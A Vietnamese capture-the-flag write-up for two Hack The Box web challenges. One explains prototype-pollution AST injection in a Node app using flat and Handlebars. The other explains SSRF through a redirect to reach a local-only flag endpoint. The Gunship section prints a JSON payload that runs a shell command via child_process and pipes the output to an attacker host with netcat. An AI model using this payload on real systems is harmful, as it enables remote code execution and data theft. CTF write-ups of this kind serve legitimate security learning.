WU

HTB CTF

**GUNship

Đề cung cấp cho mình mã nguồn nên ta sẽ đọc qua 1 lượt và xác định file quan trọng, nhận thấy file index.js ở routes là nguồn xử lý chính của chall nên ta sẽ forcus vào đó

server sử dụng flat và và handlebars template

Đọc dòng cmt dẫn ngay tới link research

https://blog.p6.is/AST-Injection/

phân tích mã nguồn ta thấy, để đủ điều kiện RCE thì cần cho chương trình chạy vào if, tức là phải chứa 1 trường artist.name có chứa 1 trong 3 cái tên cung cấp.

 { 
    "artis.name": "Haigh",


    "__proto__.block": {


        "type": "Text", 


        "line": "process.mainModule.require('child_process').execSync(`ls|nc ur_ip ur_port`)"


    }


}

```

Post json đơn giản sau và thực hiện lắng nghe kết nối từ server ta sẽ nhận được nội dung của lệnh ls

**Cached

Tiếp tục chúng ta có thể tải mã nguồn về phân tích

Ta có 3 endpoints gồm, /flag, / , /cache

Flag nằm ở /flag và phải request từ local mới có thể access được endpoint này.

Vậy mục tiêu đã rõ, chúng ta sẽ thực hiên ssrf

Tiếp theo, ta đọc vào file util.py nơi có luồng xử lý chính của server.

Chúng ta có, server nhận input từ user ,và đưa vào selenium headless để request tới,

ở đây có hàm is_inner_ipaddress nhằm chống ta sử dụng các ip biến thể của ip localhost như dec,hex và octa

chúng ta không thể sử dụng cuộc tấn công DNS REBINDING bởi vì hàm socket.gethostbyname sẽ phân giải tên miền thành ip,

xem thêm DNS REBINDING tại: https://geleta.eu/2019/my-first-ssrf-using-dns-rebinfing/

sau một lúc stuck thì mình thử đến cách chuyển hướng trang

mình dựng 1 tệp php đơn giản như sau

Nhận thấy server trả về cho mình screenshot của trang example.com, vậy mình xác định mình đi đúng hướng.

Tiếp theo mình thử nghiệm chuyển hướng về local nhưng không thành công, sau một lúc tìm kiếm thì mình đọc lại file run.py thì thấy điều này

Server đang chạy trên cổng 1337 nên mình sẽ chỉnh lại để selenium có thể request tới server local

Chờ một lúc ta sẽ thấy 1 hình chứa flag.

Last updated